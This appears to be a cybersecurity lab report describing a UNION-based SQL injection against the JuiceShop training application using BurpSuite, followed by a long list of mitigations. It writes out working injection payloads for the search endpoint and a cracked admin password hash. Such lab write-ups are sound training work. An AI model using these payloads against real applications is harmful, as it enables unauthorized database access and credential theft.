|  |  |  |  |
| --- | --- | --- | --- |
|  |  | SQL Injection (Core)  Otis Smith / Cybersecurity Professional / 11.8.23 |  |
|  |  |  |  |
| Pipette dropping liquid in a petri dish | | | |

|  |  |  |  |
| --- | --- | --- | --- |
|  |  |  | |
|  |  | TABLE OF CONTENTS |  |
|  |  | Summary …………………………..  Discovery……………………………  Vulnerability……………………….  Exploitation………………………..  References.………………………..  Mitigation………………………….. |  |



|  |  |  |
| --- | --- | --- |
| Summary |  | |
| In this lab, a manual SQL injection attack was performed against the JuiceShop application using BurpSuite and the Kali machine. The goal was to gather credentials from the database without logging in. The attack successfully exploited the vulnerability, leading to the extraction of username and password information from the JuiceShop database.  A hand holding a glowing city  Description automatically generated | |  |
| Discovery   1. Set up JuiceShop using Docker on the Kali machine.   Command use:   * **sudo docker pull bkimminich/juice-shop**      * **sudo docker run --rm -p 3000:3000 bkimminich/juice-shop**  1. Opened JuiceShop in the browser and configured BurpSuite.   Command use:   * Opened JuiceShop: **http://10.0.2.4:3000** * Opened BurpSuite: burpsuite      1. Configured BurpSuite to target JuiceShop.   Command use:   * Targeted JuiceShop URL: [**http://10.0.2.4:3000**](http://10.0.2.4:3000) * Added JuiceShop to **scope** in BurpSuite.  1. Identified the target URL for SQL injection.   Command use:   * URL: **http://10.0.2.4:3000/rest/products/search?q**  1. Configured BurpSuite to intercept traffic.  * Intercept turned on. | |  |
|  | |  |

|  |  |  |
| --- | --- | --- |
| Vulnerability |  | |
| Discovered a vulnerable endpoint for SQL injection: /rest/products/search?q HTTP/1.1  Exploited the vulnerability using a UNION-based SQL injection attack to extract user credentials.  **SQL injection payload: ' UNION SELECT id, email, password, '1', '2', '3', '4', '5', '6' FROM Users--**  Encountered an error due to an unequal number of result columns and refined the payload until success.  Successful payload: “**GET /rest/products/search?q=qwert'))+UNION+SELECT+id,+email,+password,+'1',+'2',+'3',+'4',+'5',+'6'+FROM+Users-- HTTP/1.1”**  **Vulnerable endpoint**    **Error Result**    **Successful Result**    Retrieved hashed credentials from the JuiceShop database. | |  |

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Exploitation | | |  | |
| 1. Used a hash decoder to obtain the plaintext password for the admin account.  * Hash: 0192023a7bbd73250516f069df18b500 * Decrypted password: admin123  1. Repeated the process for additional user accounts. | | | |  |
| References |  |  | |  |

1. JuiceShop Docker Image
2. SQL Injection Documentation
3. SQL Injection Cheat Sheet
4. Web Security Academy - SQL Injection UNION Attacks
5. Hash Decoder Tool
6. YouTube Video - SQL Injection Lab

Mitigation:

1. Input Validation and Parameterized Queries:
   * Implement strict input validation on user inputs to ensure that only expected and sanitized data is accepted.
   * Use parameterized queries or prepared statements in database interactions to prevent SQL injection attacks.
2. Least Privilege Principle:
   * Assign the least privilege necessary for each user or application. Avoid using accounts with unnecessary database permissions.
   * Restrict access to sensitive information and operations.
3. Regular Security Audits:
   * Conduct regular security audits, including code reviews and penetration testing, to identify and rectify potential vulnerabilities.
   * Utilize automated tools to scan code for SQL injection vulnerabilities.
4. Web Application Firewall (WAF):
   * Implement a Web Application Firewall to monitor and filter HTTP traffic between a web application and the Internet.
   * Configure the WAF to detect and block SQL injection attempts.
5. Educate Development Teams:
   * Train development teams on secure coding practices, emphasizing the risks and consequences of SQL injection.
   * Foster a security-aware culture among developers to promote proactive vulnerability prevention.
6. Database Encryption:
   * Encrypt sensitive data stored in the database to protect it from unauthorized access even if a SQL injection vulnerability is exploited.
   * Implement transparent data encryption or application-level encryption.
7. Use an ORM (Object-Relational Mapping):
   * Employ an ORM framework to interact with the database. ORMs often handle SQL queries and parameterization internally, reducing the risk of injection attacks.
   * Ensure that the ORM is configured securely and follows best practices.
8. Continuous Monitoring:
   * Implement continuous monitoring for suspicious activities and anomalies in database queries.
   * Set up alerts for multiple failed login attempts or unusual patterns of SQL queries.
9. Update Dependencies:
   * Keep all software, including database management systems, web servers, and frameworks, up to date with the latest security patches.
   * Regularly check for updates and apply them promptly.
10. Secure Configuration:
    * Configure the database server and web application server with security best practices.
    * Disable unnecessary services, default accounts, and sample databases to minimize potential attack vectors.
11. Penetration Testing:
    * Conduct regular penetration testing, including SQL injection testing, to identify and address vulnerabilities proactively.
    * Use both automated tools and manual testing to ensure comprehensive coverage.
12. Collaboration with Security Experts:
    * Engage with security experts and penetration testers to assess the security posture of web applications.
    * Leverage external expertise to identify and remediate vulnerabilities.
13. Incident Response Plan:
    * Develop and maintain an incident response plan to quickly detect, respond to, and mitigate the impact of a successful SQL injection attack.
    * Regularly test the incident response plan through simulations.

By implementing these mitigation strategies, organizations can significantly reduce the risk of SQL injection attacks and enhance the overall security of their web applications and databases. Regular monitoring, proactive measures, and a robust security posture contribute to a more resilient defense against evolving cyber threats.

**Report:**

The manual SQL injection attack successfully exploited the JuiceShop application, leading to the extraction of user credentials from the database. The vulnerability was identified in the /rest/products/search?q= endpoint. The exploitation involved crafting a UNION-based SQL injection payload, refining it to overcome errors, and using a hash decoder to obtain plaintext passwords. This exercise highlights the importance of securing web applications against SQL injection vulnerabilities and the need for continuous testing and patching to prevent unauthorized access to sensitive information.